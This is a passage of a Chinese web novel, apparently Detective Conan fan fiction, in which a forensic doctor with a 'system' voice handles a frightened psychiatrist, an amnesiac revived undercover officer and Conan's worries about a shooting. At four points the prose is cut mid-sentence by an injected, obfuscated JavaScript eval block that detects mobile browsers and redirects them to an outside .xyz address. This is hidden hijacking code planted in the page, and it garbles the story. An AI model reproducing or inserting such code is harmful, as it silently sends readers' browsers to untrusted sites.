风户京介几乎在一瞬间明白了他的意思,甚至明白了自己一直想知道的,对方没有对工藤新一动手的真正原因。 ——我很喜欢现在的工作,所以不打算因为杀人破坏它。 这个人的脑子,绝对有问题。 风户京介突然得出了一个心理学初学者都能得出的结论,这让他几乎有点想笑。 他探究对方心理的工作可能是成功的,但代价好像有点太大了。 那次谈话之后,风户京介想过很多处理办法。 包括灭口——以他的自尊和骄傲,就算被碾碎过一次,也不可能立刻放弃。 但那个男人带给他的心理阴影确实太大了,而且哪怕从最理智的角度上来说,要杀死他也并不容易,而一旦失手,他几乎能想到那种可怕的后果。 因此,确认当初的案子并没有被提起,自己也没有突然被警察关注之后,风户京介选择了沉默。 多一事不如少一事,没必要冒不必要的风险——他绝不承认是自己怂了。 而以黑泽医生的忙碌程度,只要风户京介这边不提,他们是绝对没有机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803751|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面的。 于是直到今天,才是他们在那件事之后第一次见面。 半夜接到电话的时候,风户京介被吓了一跳,等对方说完目的,他无可奈何地动身,来的路上还在想这是不是一种别样的威胁手段。 到了地方之后,发现只是单纯的检查失忆患者,黑泽医生看着一切如常,似乎真打算当上次的事没有发生,风户京介的自尊心又上来了。 他努力平复心情,让自己表现得正常,诊断工作倒是很顺利,可是在面对这个男人的时候,他还是会有种被逼到墙角的错觉——哪怕对方什么都没做。 这让风户对自己很不满,所以虽然工作已经结束,他还是强撑着继续对话,努力让自己笑得自然:“说起来,你有段时间没来过了,现在状态还好吗?” 黑泽阵似乎完全没注意到他内心的纠结,闻言嗤笑一声:“你没听说?” 风户一愣,随即恍然:“你是说工藤新一那件事吗?我想,那应该和你无关吧?” 工藤新一失踪后,由于深知对方的真实态度,他确实是为数不多真的怀疑过黑泽医生的人,不过见警视厅毫无动静,此时的风户京介也就当自己完全没想过这回事了。 “要不是你一直劝我,说不定真的会和我有关。” 黑泽阵对他笑了笑,从他的神情中完全看不出是真心还是假意。 风户京介心中一跳,在他们还没有把话说开的时候,话题确实常常围绕着工藤新一,他平均每次见面要劝对方别动手五次,但此时提起这个…… 他不知道自己是不是想多了,只好强笑道:“我还以为,工藤新一失踪之后,米花的犯罪率不降反升,会让你的想法发生变化呢。” “他只是失踪,又不是死了。”几小时前才和工藤新一见面,黑泽先生这话说得理直气壮。 听到治疗对象这样“执迷不悟”,风户京介反倒略微放松了些,他露出有些无奈的神情:“你该不会……还打算继续针对他吧?” “也许不会。”虽然这么说,但黑泽先生的神色中透着股不以为意,这话显然算不上什么承诺。 风户京介叹了口气:“不管怎么说,你现在还得找到他,比以前更麻烦了不是吗?” 他没指望自己这话有什么效果,事实上,就个人而言,他可能更希望黑泽医生继续盯着工藤新一不放。 那样对方想起自己这回事的几率就更小了。 因而说完之后,见黑泽先生的神色不以为然,风户京介也就转而道:“比起这个,我知道你现在很忙,但还是要适当放松,一直紧绷着,总会出问题的。” 一句万能的医嘱,恰到好处地结束对话,风户京介在心里给自己点赞,便要顺势告辞离开,却见面前的男人突然笑了声。 “这么说来,”黑泽阵揶揄地说道,“要是你愿意来当法医,我的情况绝对会比现在好得多。” 风户京介噎住了,他虽然因为手伤已经无法做手术,被迫转行,但比起当心理医生,他更不想跳进米花法医这个大坑。 更何况坑里还有可怕的银发男。 他下意识地退了一小步,又有些尴尬地笑了笑:“总之,病人的情况我会关注的,如果有问题也可以来找我,早点休息,再见。” 20.病人 心理医生落荒而逃,系统的声音响起来:“他好像很怕你?” “上次见面的时候,”黑泽先生坦率地说,“不小心把他杀过人的事情说出来了。” 系统:“哈?” 比起神奇的交际圈,宿主的交际风格好像更奇怪一点…… “他现在可能不太想和我见面,”黑泽阵说着有点遗憾,“和他聊天还挺有意思的。” 要是宿主每次看心理医生都是这样看的,倒也难怪对方这个反应……系统有点同情风户医生了。 “我本来还想感叹你竟然真的去看过心理医生……”它吐槽道,“这根本不会有效果的吧?” “给了假,”黑泽先生解释了自己看医生的原因,又强调,“而且我又没病。” 这个嘛……系统想着,觉得工藤新一会召唤案子好像确实不算有病,顶多是过分敏锐以至于察觉到世界的真相。 “给你当心理医生怪不容易的。”它感叹道。 “他之前还说我是个很配合的患者,”黑泽阵不同意,“我一直很诚实,是他自己被吓到的。” 杀人的明明是对方,拿枪指人的也是对方,今天之前黑泽先生甚至都忘记那件事了——任谁每天被命案包围,都很难想起故纸堆里的案子。 系统无语:“就是因为你很诚实吧……” 不是每个人都能承担起真相的分量的,像宿主这种发现世界建立在故事之上,还完全不在意的人才是少数吧。 “这不是心理治疗的要求?不是我的问题。”黑泽先生继续反驳。 不过,要是继续诚实下去,恐怕还真不好交代——原本只是妄想症,现在又添上了幻听和时间感知错乱,简直是治疗失败的典范。 米花町的心理医生也不是那么好当的啊。 黑泽先生这样想着,下意识地想要伸手拿烟,半途中意识到什么,停住了动作。 他把手插回兜里,转过头,正对上病房当中,那位失忆症患者安静的眼眸。 失忆者已经观察医生很久了。 在他苏醒以来,一共见了三位医生,一位是为他检查身体的外科医生,一位是判断他心理问题的心理医生,两位的专业水平都没的说。 但他本能地觉得,最重要的应该是这一位,身份明确,但是职责不明的医生。 刚醒来的时候,他模糊地感觉到嘈杂的声音,伴随着尚且昏沉的意识,他努力睁开眼,转动视线。 不太明亮的灯光,身着白衣的医生和护士,零碎入耳的医疗用语,一切都很寻常。 但几步开外站着的那个医生,虽然同样穿着白大褂,却像是在另一个图层上,与周边的都一切格格不入。 若非没有羽翼,他会怀疑那是天使……或者死神,在注视着一场注定失败的抢救。 等到精神渐渐恢复之后,他怎么也想不起自己为何会产生那样的幻觉,也许只是因为黑泽医生的神情过于冷淡?但从之后的了解看来,他分明是个热心过度的好人。 现在他已经知道,黑泽医生不是这间医院的医生,也不是自己的亲人,他会出现在这里,大概是因为自己的住院费用是他支付的。 一般来说,会认为双方是朋友吧,但他总觉得并非如此。 这位替“无名氏”支付了三年医疗费用,在他苏醒后第一时间出现,还连夜请来心理医生的黑泽先生……看向他的眼神并不像是见到昏迷的朋友苏醒。 而且,另一方面,当他看着医生的时候,虽然毫无印象,却仿佛有种微妙的紧绷感,从心底深处涌上来。 于是,哪怕是在治疗过程当中,病人的注意力依然会不由自主地往对方身上偏移。 当然,即便不考虑其他,黑泽医生也是存在感很强的那一类人,哪怕从他醒来到现在,对方都没说几句话,却绝不会被忽视。 在他目前见过的所有人之中,似乎也只有这位医生,有让人思考和探究的价值——作为一个失忆的病人,他唯一能做的,就是思考和探究了。 夜晚的医院病房一片寂静,即便交谈双方都放轻了声音,他依然能隐约听到黑泽医生和心理医生之间的对话。 黑泽医生的声音和他的形象很契合,清澈似冰,他整个人的形象,就完全不像是会热心到替陌生人支付账单的样子。 可是,若非如此,自己又有什么值得对方谋求的呢? 不对,他对自己说:不应该擅自怀疑他人,一个昏迷了三年,醒来还失忆的人,怎么会在刚醒来的时候就怀疑起自己恩人的用心啊? 我以前到底是个什么人啊? 病人叹了口气,靠在床上,交谈声断断续续地传来,尽管已经警告过自己,但他依然下意识地分析着。 除了他本人的失忆问题之外,黑泽医生自己似乎也有心理上的问题,这倒是能解释对方为何会认识一位能半夜赶来的心理医生。 而黑泽医生的职业……似乎是法医? 这也许能解释一部分他冷淡的风格,见惯了尸首的法医,大概是会比一般医生更冷静。 大概是他的失忆问题没有太多需要交代的,没过多久,心理医生转身离去,黑泽医生却在病房门口停留了片刻,他抬手似乎是要拿什么东西,但没有拿到便放下了。 胸前口袋……病人下意识地想:是要抽烟吗? 下一刻,黑泽医生转过头,正好与他对视。 黑泽先生实在有双冷淡又锐利的眼睛,哪怕隔着一个病房的距离,都能感觉到一种被注视的刺痛感,激发出人内心中防备的本能。 要不是知道对方为自己做过什么,他可能会忍不住从枕头底下掏枪……嗯?枕头底下为什么会有枪? 病人感到大脑一阵钝痛,连忙闭上眼睛平复,等再睁开的时候,黑泽医生已经走到眼前,在床边居高临下地看着他。 他走路也没有声音啊……也? 病人的头脑越发混乱,他真有些好奇自己失忆前是做什么的了。 黑泽阵打量着床上的病人。 三年的卧床经历使得他面色苍白,所谓的丧尸病毒在调整脸色方面显然没有任何帮助,只让那张脸更加没有血色。 不过,因为本身相貌柔和的缘故,这一片惨白的脸看着并不可怖,倒是很容易激起人的同情心。 再加上那双透着倦意的眼睛和虚软的身体状况,很难看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14808643|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来是个前卧底警察。 不过,从他醒过来之后的行事来看,哪怕失忆,这人应该也不会是那种愿意一直躺在医院里的类型。 黑泽先生在心里叹了口气。 当初隐瞒下死而复生的消息,将这人送来医院,只是随手为之,没想到他还能醒来。 一个醒来的失忆者,可比无知无觉的植物人麻烦多了。 植物人只需要花钱养着,活人却会思考,会好奇,会自己做决定,本来就容易引起麻烦,更别说这个人原本就是死而复生的,还牵扯到组织和世界末日…… 人毕竟是自己带过来的,也是自己同意唤醒的,黑泽先生没有良心,但以他的责任心,还不至于把这么大个麻烦扔着不管。 好在,系统除了会带来麻烦,也还有些帮助,他简单看过对方的资料,算是对此人有所了解,加上方才的观察,基本可以确定,失忆没有让诸伏景光的脑子坏掉。 就是说,他也不会是很难交流的类型。 病人痛苦的神情渐渐平复,仰起头与医生对视,他微笑的神色中完全看不出刚才脑子里在想着拔枪。 “失忆症恐怕不好治吧?”他这样说着,神情却没有多少阴霾。 黑泽医生语气平和地说:“心理医生的意思是不要勉强,也许自然的就想起来了。” 这好像还是醒来之后,黑泽医生第一次直接和自己说话,病人笑了笑,温和地回答:“我不会勉强的。” “要是想起什么了,可以跟我说。”黑泽医生的回答很官方,好像在复述心理医生的发言,“也许能找到你的亲人。” 病人乖乖点头,心里觉得有些抱歉:但是,觉得自己枕头底下有枪这种事情,应该不是能随便说的吧…… 为了缓和歉意,他主动问道:“您不认识我的家人吗?” “我们一直不知道你叫什么,”黑泽医生直接跳过了所有关于个人身份的问答,“所以都用房间号称呼,803。” 这说法让病人无奈地笑了笑,他也知道,在经历了方才那些事情之后,自己的话显得有些明知故问了。 好在,黑泽医生似乎不太在意对方打岔的原因,继续说道:“你先在这修养,我会让医院给你雇个看护,看恢复情况决定出院时间。” 病人脑海中还有一堆想知道的事情,但一时不知道接下来该从哪问起,便继续乖巧地点头,哪知黑泽医生看他像是听进去了,道了声“那就这样”,转身欲走。 他走得这么干脆,让人都没反应过来,病人连忙出声:“等等——” 那声音还带着一点沙哑,透出急切的意思:“那个,我是……怎么会来这里的?” 他没有多想,直接问了个最在意的问题。 医生的脚步停住了,他转过头,神情有些微妙,但并不是意外之意。 他显然清楚病人一定会向自己提问,而且对这个问题的答案早有一些想法。 此时,医生微微沉吟,以略带思量的语气说:“关于这个,你比较想听大众版本,还是真实版本?” “你要跟他说实话吗?”系统震惊地说。 “静音。”黑泽先生回答。 21.故事的一角 对死而复生这种奇葩事件,欺瞒当事人绝不是个好选择。 尤其是在当事人能力超群,而死而复生本身又颇有玄机的情况下。 所以从一开始,黑泽阵就已经决定要告诉对方至少一部分的真相,他只是需要一个说话的契机。 而病人也没有让他失望,面对如此有倾向性的提问,他没有任何犹豫地选了真实版本。 得到答案的黑泽医生点点头,在方才心理医生坐过的那张椅子上坐下,将双方交流的姿态转换为平等的对谈。 不知为何,面对这个场景,病人隐约觉得,黑泽先生刚才一直站着,或许是因为自己没有开启这方面的谈话,让医生不认为需要停留。 也许,这位医生是不喜欢绕圈子的类型? 但黑泽医生坐下之后说的第一句话,听着却和问题本身没有多少关联:“我是个法医。” 通过方才他和心理医生的对话,病人已经知道了这件事,不过此时听到,他还是点点头表示明白,然后等待下文。 然而黑泽先生没有说下去,反而就那样注视着他,似乎这句话本身就已经是一种回答。 在意识到这一点的瞬间,病人的脑海中滑过许多念头,并且迅速汇聚成一个不太寻常的结论——不寻常到他没来及惊讶自己非同寻常的思维能力,只是惊诧地睁大了眼睛。 在这时候强调这个,难道说…… 看到对方的反应这样快,医生似乎很满意,他露出一点细微的笑意,给出了确定的答案:“三年前我见到你的时候,你已经死了。” 或许是失忆使人的接受能力变强,也可能是对方的态度过于笃定,病人竟一时忘记怀疑他话语的真实性,脑海中只剩下:“我真的只睡了三年吗?” “科技还没进展到能复活人的地步,”他的震惊大概让黑泽医生觉得有趣,男人脸上的笑意加深了,“你是个例外。” “例外?”病人下意识地再次扫视了一遍病房,然后目光定格在医生脸上,“也就是说,所谓的‘大众版本’中,没有死而复生的部分?” 虽然失忆,但他的观察和推理能力显然都没有消失,医生微微颔首,语气颇为轻松:“多亏我学过缝尸体,才成功隐瞒下这件事,你应该也不想被解剖吧?” 把个重伤尸体伪造成普通伤员可不是那么容易的。 这调侃的话语没有第一时间得到回复,病人看着他沉默了几秒钟,脸上浮现出一丝苦笑:“如果这是真的……那我又是怎么死的?” “近距离枪伤,子弹是从心脏中取出来的,”黑泽医生没在意他话语中隐含的那一丝怀疑之意,坦诚地回答,“然后你就活了。” 他的话语干脆利落,简直像是在宣判死亡。 病人下意识地低头,抬手按在自己心脏的位置,隔着薄薄的病号服,能感受到上面凹凸不平的伤疤。 但并没有任何痛感,也是,都三年过去,再严重的伤也恢复了。 如果这是真的……虽然很离奇,但医生的言辞中有种不容置疑的魄力,他也不觉得对方有必要在这上面欺骗自己。 所以,他是被枪杀的? “这就是三年来我一直关注你的原因,”医生接着说,声音平和,“虽然我没有计划要研究你,但死而复生的案例,任谁都会好奇的。” “现在你醒了,”他又笑了笑,“要是有什么不对劲的地方,记得告诉我。” 不知为何,病人总觉得所谓的“好奇”像是借口,一个放着复活案例不去研究的医生,真的会在意他醒来后的症状吗? 然而,这似乎能稍微解释,为何对方会为一个不认识的人挥霍三年的金钱。 有探究的兴趣,但只到把人扔医院的程度…… 即便如此还是很惊人,明明所有人都说,他的醒来完全出乎意料。 过分离奇的消息和恩人的奇怪举止在病人脑子里混成一团,让他垂着眸怔怔地沉默了一会儿,黑泽医生对此表现得很耐心,没有催促对方,只是安静地等待着。 等到再抬起头的时候,病人脸上已经是温和的笑:“好。” “不过,说不定失忆也是后遗症的一种呢,”他轻笑道,“那样的话,我可能永远都想不起来了。” 调侃的话语显得有些怅然,医生则是一副不会读空气的冷淡样:“你能醒来已经很出乎意料了。” “说得也是,”病人赞同地点头,“要是真的一直想不起来,就这样活下去也不错。” “不过,”他看向黑泽医生,诚恳地说道,“您如果有什么线索,也请告诉我吧。” 失忆了还能有这种表现,该说不愧是卧底吗?医生这样想着,沉默地思索片刻,然后说道:“你身上还有一些比较明显的伤痕,包括冷兵器和热兵器伤,从这上面分析,你做的应该是比较危险的工作。” 病人愣了下,随即意识到,如果自己曾经躺在对方的解剖台上,那医生一定已经见过他的全部,此时对自己的了解,大概比自己本人还要全面。 “打斗……”他喃喃自语,“警察吗?” “也有可能是黑//道。”医生说。 病人抿了抿唇,还是点头表示同意,如果结合他刚才在枕头底下藏枪的想法,说不定是医生说的比较贴近真相。 不过此时他大脑空空荡荡,没有任何记忆复苏的征兆。 看着冷淡的医生在对话中保持了一定程度的耐心,在对方长久沉默之后,他才说道:“如果想要更详细的消息,等你出院,我可以给你一份你的尸检报告。” “警方那里应该也有发现你尸体时的档案,”他略带思索地说着,站起身来,“我可以帮你找一下。” 毕竟他是以“路边捡到的受伤群众”的身份进医院的,不太可能去翻阅“无名中枪尸体”的档案。 这诡异的用词让病人笑得有些无奈:“好……谢谢您,医生。” “为了这三年来的一切……”他抬起头,仰视的视角和那双澄净的眸子使得他的神情分外真诚,“以及您隐瞒我的死亡。” 方才还抱有疑虑,此时却能如此诚挚地为之道谢,不论是因为感知力出众,还是演技过人,都实在很了不起。 医生垂眸与之对视,冷淡的眼眸中泛起一丝兴味的笑:“好说。” 黑泽医生走出住院楼的时候,天空已经开始泛白。 “呃啊,怎么会失忆呢……”系统在痛苦地碎碎念,“豌豆公主没有这剧情啊……” 黑泽医生给自己点了根烟,倒是心情不错的样子,他看着天空,眉目间完全没有熬了一整个晚上的倦意:“丧尸也没有?” “这……”系统卡壳了,“不知道哎,万一是因为丧尸病毒,他该不会真就一直想不起来了吧?” 这谁都说不准,也说不定失忆其实是死前症状,和复活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14812253|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与丧尸都没有关系。 黑泽先生不在意地耸肩,没再继续这个话题,转而道:“今天也没跳日期。” 这段连贯的时间已经持续了几天,在如今的米花十分难得。 “啊,因为过了一个剧情节点吧,”系统应道,“可能明天就跳了。” 它在预知时间这件事上毫无用处,黑泽先生也没在意这玩意的乌鸦嘴,而是问道:“剧情节点指宫野明美?” “是,”系统说,“虽然不知道她情况怎么样,但应该一时半会醒不来吧?” “话说,虽然很多事情都改变了,但宫野明美还是死……好吧还没死,总之,你人都在这,她还是被枪击了,剧情的惯性还真是强大啊。”它感慨道。 黑泽先生轻笑道:“这对你来说不是好事吗?” 虽然它已经放弃控制剧情了,但能按照原本的故事走下去,应当不是坏事。 “这是没错啦……”系统嘀咕,“但是,剧情半有半无的,感觉压力更大了。” “这次的事情也是,这个世界的麻烦比我想的要大得多啊。” 人与系统的悲欢并不相通,系统满怀感慨,而黑泽医生只想着快点把加了一半的班处理完,他出来这段时间,另外一具尸体的解剖应该已经完成了,去解剖室确认过后,应该就能回去休息。 只要没新的案件冒出来。 黑泽医生默默抽烟,系统念叨了一会儿,见宿主不答话,便也安静下来,等到一支烟抽完,黑泽阵便向着解剖室的方向走去。 凌晨的医院依然安静,没有多少人在走动,黑泽医生想着今天的工作出神,突然听到一个声音从身后传来:“黑泽医生!” 声音还挺熟悉,熟悉得令他轻松的心情瞬间远去。 黑泽先生停下脚步,回头望过去,毫不意外地看到江户川柯南从小巷子里跳出,向他跑过来。 没有新的案件,但是有阴魂不散的瘟神啊。 “你的监护人呢?”没等小侦探喘匀气,黑泽医生就问。 工藤新一变成江户川柯南之后,或者说是黑泽阵知道了世界的真相之后,他对这个侦探的态度其实缓和了些——和侦探故事较劲实在没什么意思。 但这并不代表他很乐意在一大早见到此人。 “叔叔还在手术室那边,”柯南解释,“我出来透个气。” 其实他是还没从这次事件的打击中走出来,想要自己一个人静静。 但是在看到黑泽医生路过的时候,他下意识地叫住了对方。 ……也许因为对方是知情者,让他下意识地觉得,自己能在黑泽医生面前放松一些。 “手术还没结束?”黑泽阵接着问。 “还在抢救,”柯南的声音有些低沉,“这次,要不是黑泽医生你……” “还没救回来,不必多说。”黑泽阵一面说着,一面转身,“那个男人的解剖应该已经结束了。” 柯南瞬间反应过来,小跑着跟上他的脚步:“那个男人中的毒应该是雅美小姐下的,但雅美小姐似乎并不知道那是毒药……” 他这么没头没脑地倒情报出来,让黑泽先生有些意外,低下头看了小侦探一眼。 结果因为身高差只能看到头顶。 于是黑泽阵干脆直接问了:“你很想找人聊这个事件?” 简直像是迫不及待,这事对侦探来说压力这么大吗? 22.X门的世界? 江户川柯南神色一震。 黑泽先生说话总是这么直接,小侦探脸上露出有些苦涩的表情,他低下头道:“我听警官说,掉在雅美小姐身边的手枪上检测出了她的指纹,如果她醒不过来,或者醒来后无法给出新的证言,这起案件大概就会以歹徒内讧,雅美小姐自杀结案了。” 他心知肚明,这次的案件绝没有这么简单,但这件事并不是能对其他人透露的,以他目前的状态也无法干涉调查,所以只能眼睁睁地看着案子这样走下去。 “而且,那个组织如果知道雅美小姐还没死的话,说不定还会出手的。”男孩的声音十分压抑,那是在他还没变小的时候绝对不会有的语气。 如果他早知道组织对身份暴露的成员会舍弃得如此干脆,在追查的时候一定会更加小心,但现在说这些已经晚了,如果广田雅美能活下来,他必须想办法确保她的安全。 而这种事情,绝不是现在他的能够做到的。 现在警方在关注此事,那个组织也许不会轻举妄动,但等这次的事件平息下去,以那些人的手段,这么一个普通的医院能挡住他们吗? 这么多沉重的想法压在心头,令工藤新一在面对知情人的时候,不自觉地产生了倾诉欲。 哪怕知道说出来也不会有什么意义,至少能让积压的情绪得到释放。 面对这样沉重的倾诉,黑泽先生的回答就显得有些敷衍:“现在想这些是不是太早了?” 柯南沉沉地叹了口气:“我不想,再在事后后悔了。” 这件事让他真正意识到了组织的残酷,也变得比以往更加谨慎,只是已经发生的事,终究是无法改变了。 小侦探沉默片刻,又突然抬起头:“给你添麻烦了,黑泽医生。” 黑泽阵微微挑眉:“怎么,你愿意搬家了?” 柯南有点汗颜:明知道我不是在说这个…… 但他确实又放松了些,脸上也出现了些许笑意:“说起来,您之前明明一直是想要我死的吧……” 现在算是好起来了。 殊不知身边的这位医生刚才还在问系统“组织要是努力点有没有可能把他干掉?”,并得到系统无情的“不可能的求求你别想了”。 相较之下,现在黑泽先生的回话就显得很客气:“既然不是你主观刻意,万一你死了,这份晦气说不定会落到别人头上。” 柯南的嘴角抽了抽。 变小之后,柯南能感觉到,在案发现场遇见黑泽医生的时候,对方对自己的态度明显平和多了,多数时候只是普通的无视,甚至偶尔会回话,再也没用那种可怕的眼神瞪自己。 他原本还在猜测,也许是黑泽医生终于觉得之前的分析有误,或者见自己倒霉心生恻隐。 现在看来,真相似乎是对方在玄学的道路上越走越远,已经有了一整套合理的解释…… “那还真是,”小侦探虚着眼说,“感谢您放过我了……” 黑泽医生低低地笑了声,应得理直气壮:“不用谢,你少在米花闲逛就好。” 我本来也没有闲逛吧……柯南不太确定地想。 不管怎么说,被这么一打岔,他心中原本沉重的思绪散去不少,再提起这次的事件时,状态也恢复了平静:“不管怎么说,那个组织还是很危险,如果雅美小姐能没事就好了……” “广田雅美,是假名吧?”黑泽先生随口应道。 “应该是的,”柯南想了想,“但我们并不知道她的真名,所以暂时还是这么称呼。” 要是对方醒过来,或许就能知道对方的真实姓名了。 “那么,报告和卷宗上也只能写这个名字了,”黑泽医生的目光依然落在前方,没有往边上偏移一点,他感叹似的说道,“让一个不存在的人消失是很容易的。” 江户川柯南倏然一怔。 黑泽阵走进解剖室所在的大楼,微微挑眉:“解剖结束了?” 江岛医生正迎面走来,见他出现,高兴地迎上来:“是啊,我刚把报告填好,还想着该怎么送过去呢。” 黑泽医生接过他手上的报告,扫了眼之后点头道:“我帮你带过去。” 江岛医生更高兴了:“麻烦你了,这人身份都不明确,姓名栏只好先填了今天的日期,对了,之前那个女s……女人怎么样了?” “说是还在抢救。”黑泽阵说着,看了眼边上的柯南,这个为了看验尸报告才跟来的小鬼此时却是一副神游天外的样子。 “这样啊,”江岛医生点点头,倒也不显得意外,只是感慨道,“虽然每天都见到很多尸体,但这种情况还是第一次见到,她的运气还真不错。” 在关于尸体复活的事情上,黑泽医生明显更为见多识广,但他肯定不会在这时候多说,只是点点头,正当此时,边上的柯南突然喊了声:“这样的话!” 两个医生都向他看过去,小侦探一脸的如梦初醒,尴尬地笑了起来:“呃,我想起有事情……我先走了黑泽医生,谢谢你!” 说着就和出现的时候一样,快速地跑走了。 “跑得真快啊,”江岛医生一脸迷惑,“那个小孩是……?” “一个经常出现在案发现场的小鬼。”黑泽医生面无表情地说。 “这样啊,”江岛似懂非懂地点了下头,“啊,您现在有事吗,正好下班了,一起去吃……早餐吧?” 黑泽阵低头看了眼时间:“也好。” 吃完差不多又可以去上班了。 “你看!”系统激动地说,“你这不就是主角的好队友吗!” 坐在面馆里等面的黑泽先生:“这是什么评判标准?” “故事里经常有这种类型的嘛,”系统兴致勃勃地表示,“看起来冷淡,但会在关键时刻帮助主角,给主角提示的神秘队友!” 黑泽先生一时没反应过来自己帮主角什么了:“……宫野明美不是我救的吧。” 那不是外科医生在努力吗? “但是你发现她没死的呀,”系统说道,“而且还有诸伏景光呢。” 虽然其实也不是他救的,但也确实和他有关,黑泽先生回忆之前看到的资料,有点想叹气。 “你都捞回来两个了,简直是神之手,”系统乐呵呵地说,“不过还好,宫野明美一时半会醒不过来,诸伏景光也失忆了,大概不会对剧情有太大的影响。” 仔细一想,目前所有没死和活过来的人,都处在不至于影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14818094|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大剧情框架的情况下,这难道也是剧情惯性的一种吗? 这个世界还真挺微妙的,不能读取剧情真是麻烦啊…… 不过,只要大框架还在,应该就不会影响自己的任务,至于再细的部分也不是它能控制的了。 系统也就是这么一想,便没继续纠结,转而问道:“话说,要是诸伏景光一直想不起来,你打算怎么办啊?” 黑泽先生接过递出来的面碗:“我?” 这不是他应该操心的事吧。 “呃,毕竟他谁都不认识,唯一能联系的就只有你了?”倒不是说宿主对此有什么责任,但要是把人就这么放着不管,好像也不太好。 “他是个成年人了。”黑泽先生不在意地说道。 和对方说明情况,让他了解自己身上发生的一切,不至于在医院露出什么端倪,已经是仁至义尽,继续付住院费则可谓照顾有加,黑泽先生不认为自己还有什么要做的。 “好吧,说的也是,”系统被说服了,“不管怎么说,这事如果被发现,肯定算是你救了他……” 黑泽阵冷不丁地说:“被谁发现?” 系统瞬间没了声响,黑泽先生几乎能听到它芯中崩溃的样子。 “你这个反应,”他慢条斯理地说,“不像是在说组织。” “呃啊……”系统显得更痛苦了,它自己都还没想到这个借口,“就当它是怎么样?” “那你应该更小心点。”黑泽先生也没逼问它,只是淡淡地说着,低下头吃面。 他不是那种特别有好奇心的人,但事情都摆在明面上了,要装不知道未免可笑。 系统发现这一回自己竟然没有感觉到寒意。 好像宿主真的对此不太在意似的……它怀疑自己真的封存了太多数据,以至于根本搞不懂宿主关心的是什么。 但既然说好要诚实,就实话实说吧。 系统叹了口气:“也没什么不能说的,而且也只是我的猜测而已,我连本世界的剧情发展都读取不了,这些就更……” 它发现自己有点跑题,赶紧停下,思索之后说道:“你知道,这是个有故事基础的世界,有动画漫画的原作,所以它也有可能还是会以某种形式,在其他世界被播放。” “但到底是什么形式,故事内容如何,或者说,究竟会不会播放,我都不能确定啦……”系统诚恳地表示,“我就是,闲着也是闲着,那么想着玩玩而已。” 毕竟世界末日总是不来,它的生活中也没有多少乐趣。 “原来如此,”黑泽先生的话语中完全没有恍然大悟的意味,“那你又为什么要害怕?” 意识到系统确实有智力缺陷之后,他对它的隐瞒心态平和多了,此时只是有些好奇。 “因为一般来说,你这种人不会喜欢被陌生人观察自己的一举一动吧,”系统无奈道,“我怕你生气不干了呀!” “只是因为这个?”这下黑泽先生笑了,“那你不用担心。” “且不说我不是主角,”他漫不经心地说,“就算是,我也已经习惯了。” 系统:??? 它现在更怨念自己接收不了剧情了,这个世界的宿主到底经历了什么啊?